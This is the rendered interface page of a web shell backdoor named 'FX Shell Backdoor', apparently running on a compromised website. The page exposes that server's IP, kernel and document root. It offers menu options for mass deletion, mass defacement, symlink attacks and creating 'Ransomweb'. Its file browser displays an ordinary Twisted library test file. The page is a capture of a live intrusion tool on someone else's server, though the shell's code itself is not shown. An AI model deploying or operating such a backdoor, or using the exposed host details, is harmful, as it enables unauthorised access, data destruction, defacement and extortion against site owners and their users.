FX Shell Backdoor
Home
Tools
Mass Delete
Mass Deface
Symlink
About
Website : vivehg.com
Ip Address : 172.31.2.149
Port : 443
Kernel : Linux 52-72-122-155.cprapid.com 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
Protokol : HTTP/1.1
Save Data :
Koneksi :
Server : Apache
Root : /home/vivehg/public_html
G-Interface : CGI/1.1
R-Method : GET
Browser : Lainnya
Version Shell : 1.0 (Release candidate)
Author : FierzaXploit/Mr.MF33
Type
Name
options
PATH :
/
lib
/
python3
/
dist-packages
/
twisted
/
positioning
/
test
/
Upload
Buat File
Buat Folder
Buat Ransomweb
# Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ Tests for positioning sentences. """ from __future__ import absolute_import, division import itertools from twisted.positioning import _sentence from twisted.trial.unittest import TestCase sentinelValueOne = "someStringValue" sentinelValueTwo = "someOtherStringValue" class DummyProtocol(object): """ A simple, fake protocol. """ @staticmethod def getSentenceAttributes(): return ["type", sentinelValueOne, sentinelValueTwo] class DummySentence(_sentence._BaseSentence): """ A sentence for L{DummyProtocol}. """ ALLOWED_ATTRIBUTES = DummyProtocol.getSentenceAttributes() class MixinProtocol(_sentence._PositioningSentenceProducerMixin): """ A simple, fake protocol that declaratively tells you the sentences it produces using L{base.PositioningSentenceProducerMixin}. """ _SENTENCE_CONTENTS = { None: [ sentinelValueOne, sentinelValueTwo, None # See MixinTests.test_noNoneInSentenceAttributes ], } class MixinSentence(_sentence._BaseSentence): """ A sentence for L{MixinProtocol}. """ ALLOWED_ATTRIBUTES = MixinProtocol.getSentenceAttributes() class SentenceTestsMixin(object): """ Tests for positioning protocols and their respective sentences. """ def test_attributeAccess(self): """ A sentence attribute gets the correct value, and accessing an unset attribute (which is specified as being a valid sentence attribute) gets L{None}. """ thisSentinel = object() sentence = self.sentenceClass({sentinelValueOne: thisSentinel}) self.assertEqual(getattr(sentence, sentinelValueOne), thisSentinel) self.assertIsNone(getattr(sentence, sentinelValueTwo)) def test_raiseOnMissingAttributeAccess(self): """ Accessing a nonexistent attribute raises C{AttributeError}. """ sentence = self.sentenceClass({}) self.assertRaises(AttributeError, getattr, sentence, "BOGUS") def test_raiseOnBadAttributeAccess(self): """ Accessing bogus attributes raises C{AttributeError}, *even* when that attribute actually is in the sentence data. """ sentence = self.sentenceClass({"BOGUS": None}) self.assertRaises(AttributeError, getattr, sentence, "BOGUS") sentenceType = "tummies" reprTemplate = "<%s (%s) {%s}>" def _expectedRepr(self, sentenceType="unknown type", dataRepr=""): """ Builds the expected repr for a sentence. @param sentenceType: The name of the sentence type (e.g "GPGGA"). @type sentenceType: C{str} @param dataRepr: The repr of the data in the sentence. @type dataRepr: C{str} @return: The expected repr of the sentence. @rtype: C{str} """ clsName = self.sentenceClass.__name__ return self.reprTemplate % (clsName, sentenceType, dataRepr) def test_unknownTypeRepr(self): """ Test the repr of an empty sentence of unknown type. """ sentence = self.sentenceClass({}) expectedRepr = self._expectedRepr() self.assertEqual(repr(sentence), expectedRepr) def test_knownTypeRepr(self): """ Test the repr of an empty sentence of known type. """ sentence = self.sentenceClass({"type": self.sentenceType}) expectedRepr = self._expectedRepr(self.sentenceType) self.assertEqual(repr(sentence), expectedRepr) class MixinTests(TestCase, SentenceTestsMixin): """ Tests for protocols deriving from L{base.PositioningSentenceProducerMixin} and their sentences. """ def setUp(self): self.protocol = MixinProtocol() self.sentenceClass = MixinSentence def test_noNoneInSentenceAttributes(self): """ L{None} does not appear in the sentence attributes of the protocol, even though it's in the specification. This is because L{None} is a placeholder for parts of the sentence you don't really need or want, but there are some bits later on in the sentence that you do want. The alternative would be to have to specify things like "_UNUSED0", "_UNUSED1"... which would end up cluttering the sentence data and eventually adapter state. """ sentenceAttributes = self.protocol.getSentenceAttributes() self.assertNotIn(None, sentenceAttributes) sentenceContents = self.protocol._SENTENCE_CONTENTS sentenceSpecAttributes = itertools.chain(*sentenceContents.values()) self.assertIn(None, sentenceSpecAttributes)
__pycache__
Choose...
Rename
Delete
Now
__init__.py
Choose...
Edit
Rename
Delete
Now
__pycache__
Choose...
Edit
Rename
Delete
Now
receiver.py
Choose...
Edit
Rename
Delete
Now
test_base.py
Choose...
Edit
Rename
Delete
Now
test_nmea.py
Choose...
Edit
Rename
Delete
Now
test_sentence.py
Choose...
Edit
Rename
Delete
Now